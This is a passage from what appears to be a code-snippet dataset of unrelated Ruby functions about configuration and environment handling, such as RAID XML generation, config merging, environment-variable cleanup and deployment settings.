raid_configuration.select{|_,v| !v[:nonraid].empty?}\n if (@resource[:ensure] == :teardown && !nonraid_disks.empty?)\n # Move the nonraids to raid\n nonraid_map = {}\n raid_configuration.each{|k,v| nonraid_map[k] = v[:nonraid] if v[:nonraid]}\n nonraid_map.each do |controller, disks|\n @raid_configuration[controller][:virtual_disks] = [{:disks => disks, :level => \"raid0\", :type => :hdd}]\n @raid_configuration[controller][:nonraid] = []\n end\n # run #get_raid_config_changes again with overwritten raid_configuration\n @nonraid_to_raid = true\n @changes.deep_merge!(get_raid_config_changes(xml_base))\n end\n #Handle whole nodes (node should be replaced if exists, or should be created if not)\n @changes[\"whole\"].keys.each do |name|\n path = \"/SystemConfiguration/Component[@FQDD='#{name}']\"\n existing = xml_base.xpath(path).first\n #if node exists there, just go ahead and remove it\n if !existing.nil?\n existing.remove\n end\n create_full_node(name, @changes[\"whole\"][name], xml_base, xml_base.xpath(\"/SystemConfiguration\").first)\n end\n #Handle partial node changes (node should exist already, but needs data edited/added within)\n @changes['partial'].keys.each do |parent|\n process_partials(parent, @changes['partial'][parent], xml_base)\n end\n #Handle node removal (ensure nodes listed here don't exist)\n @changes[\"remove\"][\"attributes\"].keys.each do |parent|\n process_remove_nodes(parent, @changes[\"remove\"][\"attributes\"][parent], xml_base, \"Attribute\")\n end\n @changes[\"remove\"][\"components\"].keys.each do |parent|\n process_remove_nodes(parent, @changes[\"remove\"][\"components\"][parent], xml_base, \"Component\")\n end\n\n ##Clean up the config file of all the commented text\n xml_base.xpath('//comment()').remove\n remove_invalid_settings(xml_base)\n # Disable SD card and RAID controller for boot from SAN\n\n # Include NVDIMM setting that will only be included after NVDIMM enabled\n unless nvdimm_attrs_in_sync?\n @changes[\"partial\"][\"BIOS.Setup.1-1\"][\"PersistentMemoryScrubbing\"] = \"Auto\"\n end\n\n # Rotate the old xml files\n unless attempt == 0\n rotate_config_xml_file\n end\n File.open(@config_xml_path, 'w+') do |file|\n if embsata_in_sync?\n file.write(xml_base.to_xml(:indent => 2))\n else\n # If Embedded Sata mode is out of sync we need to change the FQDD's to what they will be\n # after the EmbSat mode is changed to RAIDmode\n file.write(xml_base.to_xml(:indent => 2).gsub(\"AHCI.Embedded\", \"RAID.Embedded\").gsub(\"ATA.Embedded\",\"RAID.Embedded\"))\n end\n end\n xml_base\n end", "def smash_configs\n # private overrides public general config\n a = remove_environments(@general_config_pub)\n b = remove_environments(@general_config_priv)\n general = a.merge(b)\n\n # private overrides public collection config\n c = remove_environments(@collection_config_pub)\n d = remove_environments(@collection_config_priv)\n collection = c.merge(d)\n\n # collection overrides general config\n return general.merge(collection)\n end", "def sanitize_config(conf={}, keep=[], dupe=false)\n \t\t(conf = conf.clone) if dupe\n \t\tconf.reject!{|k,v| (!CONFIG_KEYS.include?(k.to_s) or [{},[],''].include?(v)) and !keep.include? k.to_s }\n \t\tconf\n \tend", "def delete_launch_configs\n auto_scaling = new_auto_scaling\n groups = auto_scaling.groups\n auto_scaling.launch_configurations.each do |config|\n if groups[config.name].nil?\n puts \"deleting asg launch configuration, #{config.name}\"\n config.delete()\n end\n end\nend", "def clean\n (config.keys - ['image']).each { |name|\n env = env(name, name)\n env.clean!\n }\n end", "def check_production_account_settings\n raise \"Not using production settings! Use '--env production'\".red unless lane_context[SharedValues::ENVIRONMENT] == 'production' \nend", "def _default_update_domain_count(global_azure_config)\n global_azure_config.environment == ENVIRONMENT_AZURESTACK ? 1 : 5\n end", "def merged_settings\n merged = self.class.current\n settings_hash.each do |k, v|\n if v.present?\n merged['production'][k] = v\n else\n merged['production'].delete(k)\n end\n end\n merged\n end", "def default_config\n { purge: true }\n end", "def migrate_configuration\n puts \"migrating configuration\"\n ActiveRecord::Base.connection.execute('truncate table configuration')\n Configuration.create name: 'home', data: {headlines: [], today: [], tracklists: []}\n Configuration.create name: 'home_components', data: {headlines: 5, today: 3, tracklists: 3}\n Configuration.create name: 'navigation', data: {categories: []}\n Configuration.create name: 'about', data: {hebrew: nil, english: nil}\nend", "def setup_config_db\n\t\tMongrel2::Config.db ||= Mongrel2::Config.in_memory_db\n\t\tMongrel2::Config.init_database\n\t\tMongrel2::Config.db.tables.collect {|t| Mongrel2::Config.db[t] }.each( &:truncate )\n\tend", "def deploy_asg config\n launch_config_name = create_new_asg config\n delete_old_asg config, launch_config_name\nend", "def sanitize_config(configuration={})\n if configuration.is_a?(OpenStruct)\n configuration = configuration.send(:table)\n end\n\n config = configuration.reject do |key,value|\n !(%w(stdout stderr stdin logger).map(&:to_sym).include?(key))\n end\n\n config\n end", "def railsenv\n config['environment_variables']['RAILS_ENV'] || 'production'\nend", "def clean_env_vars\n envs = %w(\n REPORT_SERVICE_SELF_URL REPORT_SERVICE_URL REPORT_SERVICE_TOKEN\n )\n envs.each { |e| ENV.delete(e) }\nend", "def remove_config(name)\n\t\tend", "def removeTenant(tenantArr,id)\n tenantArr.each do |tenant|\n if tenant[:id] == id\n tenant[:apartment_id] = 0\n end\n end\n end", "def clean_config(container)\n return container.config \n end", "def filter_config(config)\n config\n end", "def multi_tenantify(database)\n @config.clone.tap do |config|\n config[:url] = \"#{config[:url].gsub(/(\\S+)\\/.+$/, '\\1')}/#{environmentify(database)}\"\n end\n end", "def process config\n replace_variables config.template_location\n\n replace_variables config.generate_settings.command unless config.generate_settings == nil || config.generate_settings.command == nil\n replace_variables config.generate_settings.docker_file unless config.generate_settings == nil || config.generate_settings.docker_file == nil\n\n replace_variables config.build_settings.build_commands.fetch unless config.build_settings == nil || config.build_settings.build_commands.fetch == nil\n replace_variables config.build_settings.build_commands.build unless config.build_settings == nil || config.build_settings.build_commands.build == nil\n replace_variables config.build_settings.build_commands.test unless config.build_settings == nil || config.build_settings.build_commands.test == nil\n\n replace_variables config.build_settings.docker_settings.image unless config.build_settings == nil || config.build_settings.docker_settings.image == nil\n replace_variables config.build_settings.docker_settings.env unless config.build_settings == nil || config.build_settings.docker_settings.env == nil\n replace_variables config.build_settings.docker_settings.binds unless config.build_settings == nil || config.build_settings.docker_settings.binds == nil\n replace_variables config.build_settings.docker_settings.working_directory unless config.build_settings == nil || config.build_settings.docker_settings.working_directory == nil\n\n return config\n end", "def tier_environment_variable_overrides(lower_config = {})\n tcfg_env_vars = ENV.keys.select { |ev| ev =~ /^#{tcfg_env_var_prefix}/ }\n tcfg_env = ENV.to_hash.slice(*tcfg_env_vars)\n tcfg_env.each_pair do |full_var_name, value|\n var_chain = full_var_name.sub(/^#{tcfg_env_var_prefix}/, '').split('-')\n next if var_chain.first.casecmp('ENVIRONMENT').zero?\n parent_of_config_to_modify = lower_config\n var_chain[0...-1].each do |parent_key|\n unless parent_of_config_to_modify.respond_to?(:key?) &&\n parent_of_config_to_modify.key?(parent_key)\n raise BadParentInDeepOverrideError,\n \"No such parent '#{parent_key}' for deep override '#{full_var_name}'\"\n end\n parent_of_config_to_modify = parent_of_config_to_modify[parent_key]\n end\n unless parent_of_config_to_modify.respond_to?(:key?) &&\n parent_of_config_to_modify.key?(var_chain.last)\n raise NoSuchConfigurationKeyError,\n \"No such configuration for '#{var_chain.last}' for override var '#{full_var_name}'\"\n end\n parent_of_config_to_modify[var_chain.last] = value\n end\n end", "def config_delete(name)\n Bundler.settings.set_local(name, nil)\n Bundler.settings.set_global(name, nil)\n end", "def default_update_domain_count\n @azure_properties['environment'] == ENVIRONMENT_AZURESTACK ? 1 : 5\n end", "def remove_config\n FileUtils.cd(self.project_root) { FileUtils.rm_rf \"config/environments/#{self.name}\" }\n end", "def normalize_config\n @components_in_config = []\n @implicit_component_index = 0\n @inline_components = {}\n c = config.dup\n config.each_pair do |k, v|\n c.delete(k) if self.class.server_side_config_options.include?(k.to_sym)\n c[k] = v.netzke_deep_replace { |el| extend_item(el) } if v.is_a?(Array)\n end\n @normalized_config = c\n end", "def unset_lxd_config_value(config_array)\n begin\n output = lxc(['config', 'unset', config_array].flatten!)\n rescue Puppet::ExecutionFailure => e\n Puppet.debug(\"Cannot unset config with lxc config: #{e.inspect}\")\n return nil\n else\n return true\n end\n end", "def delete_env_var key, val\n key = key.to_s\n env_file = self[:ssh_env_file]\n val = Regexp.escape(val).gsub('/', '\\/').gsub(';', '\\;')\n # if the key only has that single value remove the entire line\n exec(Beaker::SedCommand.new(self['platform'], \"/#{key}=#{val}$/d\", env_file))\n # value in middle of list\n exec(Beaker::SedCommand.new(self['platform'], \"s/#{key}=\\\\(.*\\\\)[;:]#{val}/#{key}=\\\\1/\", env_file))\n # value in start of list\n exec(Beaker::SedCommand.new(self['platform'], \"s/#{key}=#{val}[;:]/#{key}=/\", env_file))\n # update the profile.d to current state\n # match it to the contents of ssh_env_file\n mirror_env_to_profile_d(env_file)\n end", "def normalize_config\n @components_in_config = []\n c = config.dup\n config.each_pair do |k, v|\n c.delete(k) if self.class.server_side_config_options.include?(k.to_sym)\n if v.is_a?(Array)\n c[k] = v.netzke_deep_map{|el| extend_item(el)}\n end\n end\n @normalized_config = c\n end", "def down\n ActiveRecord::Base.record_timestamps = false\n\n # Parse and modify the data in memory, because the JSON to modify is stored as a string in the database\n UserExportPreset.all.in_batches do |batch|\n batch.each do |uep|\n config = JSON.parse(uep.config)\n if config.dig('data', 'patients', 'query', 'workflow') == 'global'\n config['data']['patients']['query']['workflow'] = 'all'\n uep.update!(config: config.to_json)\n end\n end\n end\n\n ActiveRecord::Base.record_timestamps = true\n end", "def deployments_to_keep(env)\n (env['OPENSHIFT_KEEP_DEPLOYMENTS'] || 1).to_i\n end", "def remove_env_variables(vars, parent_op=nil)\n Application.run_in_application_lock(self) do\n op_group = PendingAppOpGroup.new(op_type: :update_configuration, args: {\"remove_env_vars\" => vars}, parent_op: parent_op, user_agent: self.user_agent)\n self.pending_op_groups.push op_group\n result_io = ResultIO.new\n self.run_jobs(result_io)\n result_io\n end\n end", "def configure_environment\n\n=begin\n :: Expected Params ::\n \n Constants::REQUEST_PARAM_TEST => Server Mode (Is Production or Staging?) \n\n=end \n\n if params[Constants::REQUEST_PARAM_TEST].present?\n\n if params[Constants::REQUEST_PARAM_TEST] == \"1\"\n\n ENV[Constants::ENVIRONMENT_VAR_FOR_STAGING] = '1'\n\n else\n \n ENV.delete(Constants::ENVIRONMENT_VAR_FOR_STAGING) \n\n end \n\n end \n\n render json: {status: status_code(:ok), message: \"\", data: {:is_staging => (ENV[Constants::ENVIRONMENT_VAR_FOR_STAGING].present? ? 1 : 0)}}\n\n end", "def update_soft_deletion_for_variants\n if self.variants.present? and self.status_changed?\n self.variants.each do |variant|\n variant.permalink = [variant.permalink, \"-\", SecureRandom.hex(8)].join\n variant.status = self.status\n variant.save\n end\n end\n end", "def remove_config(name)\n variables[name] = nil\n end", "def set_cleanup_reproduction_associations\n @cleanup_reproduction_associations = nil\n if @order.order_type.name == 'reproduction' &&\n params[:order][:order_type_id] != @order.order_type_id\n @cleanup_reproduction_associations = true\n end\n end", "def munge_config\n @data = @config.send(:data).instance_variable_get(:@data)\n @data[:driver][:instance_name] = @image.id\n suite = @data[:suites].find{ |n| n[:name] == @image.name }\n if suite && suite[:inherit]\n inherited = Linecook::Image.new(suite[:inherit][:name], suite[:inherit][:group], suite[:inherit][:tag])\n inherit(inherited)\n @data[:driver][:image] = \"#{inherited.group}:#{inherited.tag}\"\n @data[:driver][:provision_command] ||= []\n @data[:driver][:provision_command] << 'sed -i \\'s/\\(PasswordAuthentication no\\)/#\\1/g\\' /etc/ssh/sshd_config'\n end\n end", "def scale(app_env)\n name, env = app_env.split(SEPARATOR)\n scaling = self.settings['scale'] || {}\n all = scaling['all'] || {}\n\n app_scaling = (scaling[name] && scaling[name].reject { |k,v| v.class == Hash }) || {}\n # overwrite app scaling with the environment specific ones\n merged_environment_scaling = app_scaling.merge((scaling[name] && scaling[name][env]) || {})\n\n # overwrite all scaling with the environment specific ones\n all.merge(merged_environment_scaling)\n end", "def scrub_env(env)\n [\n BLACKLISTED_ENV,\n Carnivore::Config.get(\n :jackal, :utils, :process_manager, :blacklisted_env\n )\n ].flatten.compact.each do |key|\n env.delete(key)\n end\n true\n end", "def setup_config_db( dbspec=':memory:' )\n\t\tMongrel2::Config.configure( :configdb => dbspec ) unless\n\t\t\tMongrel2::Config.db.uri[ %r{sqlite:/(.*)}, 1 ] == dbspec\n\t\tMongrel2::Config.init_database\n\t\tMongrel2::Config.db.tables.collect {|t| Mongrel2::Config.db[t] }.each( &:truncate )\n\tend", "def delete_activations_before(cutoff)\n all_deployments.each do |full_path|\n deployment_datetime = File.basename(full_path)\n\n # load the metadata\n deployment_metadata = deployment_metadata_for(deployment_datetime)\n\n # remove activations <= cutoff\n deployment_metadata.activations.delete_if { |a| a <= cutoff }\n\n # write metadata to disk\n deployment_metadata.save\n end\n end", "def config_meta\r\n excluded_keys = ['articles','article_categories']\r\n excluded_keys.inject(configuration) {|ret,k| ret.delete k; ret}\r\n end", "def populateSettingValuesFromConfigMap(parsedConfig)\n begin\n if !parsedConfig.nil? && !parsedConfig[:agent_settings].nil?\n if !parsedConfig[:agent_settings][:health_model].nil? && !parsedConfig[:agent_settings][:health_model][:enabled].nil?\n @enable_health_model = parsedConfig[:agent_settings][:health_model][:enabled]\n puts \"enable_health_model = #{@enable_health_model}\"\n end\n chunk_config = parsedConfig[:agent_settings][:chunk_config]\n if !chunk_config.nil?\n nodesChunkSize = chunk_config[:NODES_CHUNK_SIZE]\n if !nodesChunkSize.nil? && is_number?(nodesChunkSize) && (@nodesChunkSizeMin..@nodesChunkSizeMax) === nodesChunkSize.to_i\n @nodesChunkSize = nodesChunkSize.to_i\n puts \"Using config map value: NODES_CHUNK_SIZE = #{@nodesChunkSize}\"\n end\n\n podsChunkSize = chunk_config[:PODS_CHUNK_SIZE]\n if !podsChunkSize.nil? && is_number?(podsChunkSize) && (@podsChunkSizeMin..@podsChunkSizeMax) === podsChunkSize.to_i\n @podsChunkSize = podsChunkSize.to_i\n puts \"Using config map value: PODS_CHUNK_SIZE = #{@podsChunkSize}\"\n end\n\n eventsChunkSize = chunk_config[:EVENTS_CHUNK_SIZE]\n if !eventsChunkSize.nil? && is_number?(eventsChunkSize) && (@eventsChunkSizeMin..@eventsChunkSizeMax) === eventsChunkSize.to_i\n @eventsChunkSize = eventsChunkSize.to_i\n puts \"Using config map value: EVENTS_CHUNK_SIZE = #{@eventsChunkSize}\"\n end\n\n deploymentsChunkSize = chunk_config[:DEPLOYMENTS_CHUNK_SIZE]\n if !deploymentsChunkSize.nil? && is_number?(deploymentsChunkSize) && (@deploymentsChunkSizeMin..@deploymentsChunkSizeMax) === deploymentsChunkSize.to_i\n @deploymentsChunkSize = deploymentsChunkSize.to_i\n puts \"Using config map value: DEPLOYMENTS_CHUNK_SIZE = #{@deploymentsChunkSize}\"\n end\n\n hpaChunkSize = chunk_config[:HPA_CHUNK_SIZE]\n if !hpaChunkSize.nil? && is_number?(hpaChunkSize) && (@hpaChunkSizeMin..@hpaChunkSizeMax) === hpaChunkSize.to_i\n @hpaChunkSize = hpaChunkSize.to_i\n puts \"Using config map value: HPA_CHUNK_SIZE = #{@hpaChunkSize}\"\n end\n\n podsEmitStreamBatchSize = chunk_config[:PODS_EMIT_STREAM_BATCH_SIZE]\n if !podsEmitStreamBatchSize.nil? && is_number?(podsEmitStreamBatchSize) &&\n podsEmitStreamBatchSize.to_i <= @podsChunkSize && podsEmitStreamBatchSize.to_i >= @podsEmitStreamBatchSizeMin\n @podsEmitStreamBatchSize = podsEmitStreamBatchSize.to_i\n puts \"Using config map value: PODS_EMIT_STREAM_BATCH_SIZE = #{@podsEmitStreamBatchSize}\"\n end\n nodesEmitStreamBatchSize = chunk_config[:NODES_EMIT_STREAM_BATCH_SIZE]\n if !nodesEmitStreamBatchSize.nil? && is_number?(nodesEmitStreamBatchSize) &&\n nodesEmitStreamBatchSize.to_i <= @nodesChunkSize && nodesEmitStreamBatchSize.to_i >= @nodesEmitStreamBatchSizeMin\n @nodesEmitStreamBatchSize = nodesEmitStreamBatchSize.to_i\n puts \"Using config map value: NODES_EMIT_STREAM_BATCH_SIZE = #{@nodesEmitStreamBatchSize}\"\n end\n end\n # fbit config settings\n fbit_config = parsedConfig[:agent_settings][:fbit_config]\n if !fbit_config.nil?\n fbitFlushIntervalSecs = fbit_config[:log_flush_interval_secs]\n if !fbitFlushIntervalSecs.nil? && is_number?(fbitFlushIntervalSecs) && fbitFlushIntervalSecs.to_i > 0\n @fbitFlushIntervalSecs = fbitFlushIntervalSecs.to_i\n puts \"Using config map value: log_flush_interval_secs = #{@fbitFlushIntervalSecs}\"\n end\n\n fbitTailBufferChunkSizeMBs = fbit_config[:tail_buf_chunksize_megabytes]\n if !fbitTailBufferChunkSizeMBs.nil? && is_number?(fbitTailBufferChunkSizeMBs) && fbitTailBufferChunkSizeMBs.to_i > 0\n @fbitTailBufferChunkSizeMBs = fbitTailBufferChunkSizeMBs.to_i\n puts \"Using config map value: tail_buf_chunksize_megabytes = #{@fbitTailBufferChunkSizeMBs}\"\n end\n\n fbitTailBufferMaxSizeMBs = fbit_config[:tail_buf_maxsize_megabytes]\n if !fbitTailBufferMaxSizeMBs.nil? && is_number?(fbitTailBufferMaxSizeMBs) && fbitTailBufferMaxSizeMBs.to_i > 0 \n if fbitTailBufferMaxSizeMBs.to_i >= @fbitTailBufferChunkSizeMBs\n @fbitTailBufferMaxSizeMBs = fbitTailBufferMaxSizeMBs.to_i\n puts \"Using config map value: tail_buf_maxsize_megabytes = #{@fbitTailBufferMaxSizeMBs}\"\n else\n # tail_buf_maxsize_megabytes has to be greater or equal to tail_buf_chunksize_megabytes\n @fbitTailBufferMaxSizeMBs = @fbitTailBufferChunkSizeMBs\n puts \"config::warn: tail_buf_maxsize_megabytes must be greater or equal to value of tail_buf_chunksize_megabytes. Using tail_buf_maxsize_megabytes = #{@fbitTailBufferMaxSizeMBs} since provided config value not valid\"\n end\n end\n # in scenario - tail_buf_chunksize_megabytes provided but not tail_buf_maxsize_megabytes to prevent fbit crash\n if @fbitTailBufferChunkSizeMBs > 0 && @fbitTailBufferMaxSizeMBs == 0\n @fbitTailBufferMaxSizeMBs = @fbitTailBufferChunkSizeMBs\n puts \"config::warn: since tail_buf_maxsize_megabytes not provided hence using tail_buf_maxsize_megabytes=#{@fbitTailBufferMaxSizeMBs} which is same as the value of tail_buf_chunksize_megabytes\"\n end \n\n fbitTailMemBufLimitMBs = fbit_config[:tail_mem_buf_limit_megabytes]\n if !fbitTailMemBufLimitMBs.nil? && is_number?(fbitTailMemBufLimitMBs) && fbitTailMemBufLimitMBs.to_i > 0\n @fbitTailMemBufLimitMBs = fbitTailMemBufLimitMBs.to_i\n puts \"Using config map value: tail_mem_buf_limit_megabytes = #{@fbitTailMemBufLimitMBs}\"\n end\n end\n end\n rescue => errorStr\n puts \"config::error:Exception while reading config settings for agent configuration setting - #{errorStr}, using defaults\"\n @enable_health_model = false\n end\nend", "def truncate_preserve(table_name_str)\n puts \"Truncating '#{table_name_str}' table (it may take a while):\"\n table_name = TableName.valueOf(table_name_str)\n\n if enabled?(table_name_str)\n puts 'Disabling table...'\n disable(table_name_str)\n end\n\n puts 'Truncating table...'\n @admin.truncateTable(table_name, true)\n end", "def production?\n rails_env == \"production\" || rails_env == \"staging\"\n end", "def unset\n requires_preauth\n if args.empty?\n error(\"Usage: heroku config:unset KEY1 [KEY2 ...]\\nMust specify KEY to unset.\")\n end\n\n args.each do |key|\n action(\"Unsetting #{key} and restarting #{app}\") do\n api.delete_config_var(app, key)\n\n @status = begin\n if release = api.get_release(app, 'current').body\n release['name']\n end\n rescue Heroku::API::Errors::RequestFailed\n end\n end\n end\n end", "def trim_avail(condensed)\n\t condensed.each do |loc|\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) copies = \" + loc[\"copies\"].count.inspect\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) copies = \" + loc[\"copies\"].inspect\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) copies [0] items keys count = \" + loc[\"copies\"][0][\"items\"].keys.count.inspect\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) copies [0] items = \" + loc[\"copies\"][0][\"items\"].inspect\n\t if loc[\"copies\"][0][\"items\"].keys.count > 1 && loc[\"copies\"][0][\"items\"].has_key?('Available')\n\t\t##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) available exists with more than one status,so we will remove it as unnecessary.\"\n\t\tloc[\"copies\"][0][\"items\"].delete_if {|key, value| key == \"Available\" }\n\t end\n\t end\n\t condensed\n\t end", "def clear(config)\n Array(config).each do |setting|\n delete_setting setting\n end\n end", "def filtered_env; end", "def set_production\n @production = Production.friendly.find(params[:id])\n end", "def destroy\n conf.delete 'dashboard'\n end", "def production?\n @environment == :production\n end", "def delete_environment_configuration(application_name, environment_name)\n options = {\n 'ApplicationName' => application_name,\n 'EnvironmentName' => environment_name\n }\n\n request({\n 'Operation' => 'DeleteEnvironmentConfiguration',\n :parser => Fog::Parsers::AWS::ElasticBeanstalk::Empty.new\n }.merge(options))\n end", "def reload_mail_list_server_because_of_environment\n RAILS_ENV == \"production\"\n end", "def remove_launch_configuration_properties\n properties = []\n properties << :BlockDeviceMappings\n properties << :KernelId\n properties << :RamDiskId\n add_patch Patches::RemoveProperty.new 'AWS::AutoScaling::LaunchConfiguration', properties\n end", "def record_to_statsd\n # Only record production deployments in production graphite\n if self.environment == \"production\"\n key = \"deploys.#{self.application.shortname}\"\n STATSD.increment(key)\n end\n end", "def clean_env\r\n ENV.delete 'BUNDLE_BIN_PATH' # disable loading outside bundler\r\n ENV.delete 'BUNDLE_GEMFILE' # disable loading outside bundler\r\n ENV.delete 'GEM_HOME' # use default gem install location\r\n ENV.delete 'GEM_PATH' # use default installed gem locations\r\n ENV.delete 'RUBYGEMS_GEMDEPS' # disable loading outside gems\r\n ENV.delete 'RUBYLIB' # disable outside changes to $LOAD_PATH\r\n ENV.delete 'RUBYOPT' # disable outside changes to ruby options\r\n\r\n log \"=> ENV\"\r\n ENV.sort_by(&:first).each do |name, value|\r\n log \"\\t#{@utils.escape name} => #{@utils.escape value}\"\r\n end\r\n end", "def updateAppProdVersion(org_id, type, version)\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n begin\n # Making sure \"settings.apps is init correctly\"\n response = dynamodb.update_item(\n {\n table_name: \"Organizations\",\n key: {\n \"id\" => org_id\n },\n expression_attribute_names: {\n \"#SETTINGS\" => \"settings\",\n \"#APPS\" => \"apps\"\n },\n expression_attribute_values: {\n \":null\" => nil,\n \":empty\" => {}\n },\n update_expression: \"SET #SETTINGS.#APPS = :empty\",\n condition_expression: \"#SETTINGS.#APPS = :null\"\n }\n )\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.important(\"Skipping setting 'settings.apps' in org object\")\n end\n\n begin\n # Making sure \"settings.apps.{type} is init correctly\"\n response = dynamodb.update_item(\n {\n table_name: \"Organizations\",\n key: {\n \"id\" => org_id\n },\n expression_attribute_names: {\n \"#SETTINGS\" => \"settings\",\n \"#APPS\" => \"apps\",\n \"#TYPE\" => type\n },\n expression_attribute_values: {\n \":empty\" => {}\n },\n update_expression: \"SET #SETTINGS.#APPS.#TYPE = if_not_exists(#SETTINGS.#APPS.#TYPE, :empty)\"\n }\n )\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.important(\"Skipping setting 'settings.apps.#{type}' in org object\")\n end\n\n # Setting the dates\n response = dynamodb.update_item(\n {\n table_name: \"Organizations\",\n key: {\n \"id\" => org_id\n },\n expression_attribute_names: {\n \"#SETTINGS\" => \"settings\",\n \"#IN_STORE\" => \"in_stores\",\n \"#APPS\" => \"apps\",\n \"#TYPE\" => type,\n \"#ENV\" => \"prod\",\n \"#STORE_VERSION\" => \"store_version\",\n \"#STORE_DATE\" => \"store_version_date\",\n \"#VERSION_IN_REVIEW\" => \"version_in_review\",\n \"#VERSION_IN_REVIEW_DATE\" => \"version_in_review_date\"\n },\n expression_attribute_values: {\n \":env\" => true,\n \":store\" => true,\n \":version\" => version,\n \":date\" => Time.now.strftime(\"%d/%m/%Y\"),\n \":null\" => nil\n },\n update_expression: \"SET #SETTINGS.#IN_STORE = :store,\" \\\n \"#SETTINGS.#APPS.#TYPE.#ENV = :env,\" \\\n \"#SETTINGS.#APPS.#TYPE.#STORE_VERSION = :version,\" \\\n \"#SETTINGS.#APPS.#TYPE.#STORE_DATE = :date,\" \\\n \"#SETTINGS.#APPS.#TYPE.#VERSION_IN_REVIEW = :null,\" \\\n \"#SETTINGS.#APPS.#TYPE.#VERSION_IN_REVIEW_DATE = :null\"\n }\n )\n\n return true\nrescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return false\nend", "def unset_denormalized_value_for_all(attribute_name, conditions = \"1\")\n unset_denormalized_values_for_all(attribute_name, conditions)\n end", "def destroy_old_admin_applicants\n old_applicants = User.where(role: \"admin_applicant\")\n old_applicants.each do |applicant|\n if Time.now - applicant.created_at > 604800 # destroyed after one week (7 days)... 604800 seconds\n applicant.destroy\n end \n end\n end", "def casespace_seed_config_add_spaces(config)\r\n spaces = [config[:spaces]].flatten.compact\r\n return if spaces.blank?\r\n seed_config_message('++Adding seed config spaces.', config)\r\n spaces.each do |hash|\r\n title = hash[:institution]\r\n if title.blank?\r\n hash[:institution] = nil\r\n else\r\n institution = find_institution(title: title)\r\n seed_config_error \"Space institution title #{title.inspect} not found.\", config if institution.blank?\r\n hash[:institution] = institution\r\n end\r\n hash[:title] ||= get_default_record_title(:common, :space)\r\n hash[:state] ||= :active\r\n sandbox_space_id = casespace_seed_config_get_sandbox_space_id(hash)\r\n space = create_space hash.merge(space_type: get_casespace_space_type, sandbox_space_id: sandbox_space_id)\r\n seed_config_models.add(config, space)\r\n if hash[:is_sandbox] == true\r\n seed_config_error \"Space cannot have both a 'sandbox' and 'is_sandbox' value.\", config if space.sandbox_space_id.present?\r\n space.sandbox_space_id = space.id\r\n @seed.create_error(space) unless space.save\r\n end\r\n end\r\nend", "def delete_configuration\n super\n end", "def delete_configuration\n super\n end", "def remove_all_instances(var)\n # Iterate though all the site configs, removing every instance of :var\n # Return an array containing the value of :var at each config,\n # from lowest priority to highest.\n # If [] is returned, it implies that there was no instancs of :var to be removed.\n ret = []\n @configs.each do |c|\n if c.key?(var)\n ret << c.delete(var)\n end\n end\n ret\n end", "def nullify_fields_if_these_are_admin_mode_settings\n # if mission_id is nil, that means we're in admin mode\n if mission_id.nil?\n (attributes.keys - ADMIN_MODE_KEYS - %w(id created_at updated_at mission_id)).each { |a| self.send(\"#{a}=\", nil) }\n end\n end", "def production?\n environment == :production\n end", "def production?\n settings.environment == 'production'\n end", "def production? ; @app.options[:env] == :production ; end", "def reset_file_dimensions!\n self.file_dimensions.keys.each do |key|\n next if key == 'original' || key == 'admin'\n self.file_dimensions.delete key\n end\n end", "def environment\n \"production\"\n end", "def extract_settings(config)\r\n @rp_key = config[\"collections\"].keys[0].freeze\r\n end", "def handle_environment_change\n if environment_id_changed? and not new_record?\n # Handle references to this package\n self.optional_install_items.each(&:destroy)\n self.install_items.each(&:destroy)\n self.uninstall_items.each(&:destroy)\n self.managed_update_items.each(&:destroy)\n # Handle references to the package branch\n num_of_packages = self.package_branch.packages.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was).count\n if num_of_packages == 1\n # There is only one version of this package in the environment\n # and unit and we are about to move it. Before doing so, destroy\n # all install items within that scope.\n computers = Computer.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n computer_groups = ComputerGroup.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n bundles = Bundle.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n manifests = computers + computer_groups + bundles\n manifest_ids = manifests.map {|m| m.id }\n # Destroy items belonging to manifests within the unit and old enviornmnet of the package\n OptionalInstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n InstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n UninstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n end\n end\n end", "def exclude?(production)\n !include?(production)\n end", "def normalize_env(env, client); end", "def production_id\n production = []\n adverts.each do |content_break|\n production << content_break.map do |advert|\n advert.match(/prodid=(.*?)\\//)[1]\n end\n end\n production\n end", "def env_str\n @env_str ||= begin\n env = Rails.env\n env.include?('production') ? '' : env\n end\n end", "def env_str\n @env_str ||= begin\n env = Rails.env\n env.include?('production') ? '' : env\n end\n end", "def staging_production(staging)\n return nil unless staging\n @deploy.updated_at.to_i - staging.updated_at.to_i\n end", "def validate_vault_server_has_same_environment\n return unless vault_server_id_changed? && vault_server\n if vault_server.deploy_groups.any? { |dg| dg.production? != production? }\n errors.add :vault_server_id, \"#{vault_server.name} can't mix production and non-production deploy groups\"\n end\n end", "def merge_dynamic_config\n return if GlobalConstant::EntityGroupDraft.kyc_entity_type != @entity_type\n field_config = GlobalConstant::CmsConfigurator.extra_kyc_field_instruction_text_config\n\n @params.keys.each do |x|\n @entity_config[x.to_s] = field_config if x.to_s.ends_with?(\n GlobalConstant::CmsConfigurator.extra_kyc_field_instruction_key_suffix)\n end\n\n end", "def set_production\n @production = Production.includes(:play, :users).find(params[:id])\n end", "def production?\n self.environment == ENV_PROD\n end", "def unset\n api.put_app_buildpacks_v3(app, {:updates => []})\n\n vars = api.get_config_vars(app).body\n if vars.has_key?(\"BUILDPACK_URL\")\n display \"Buildpack unset.\"\n warn \"WARNING: The BUILDPACK_URL config var is still set and will be used for the next release\"\n elsif vars.has_key?(\"LANGUAGE_PACK_URL\")\n display \"Buildpack unset.\"\n warn \"WARNING: 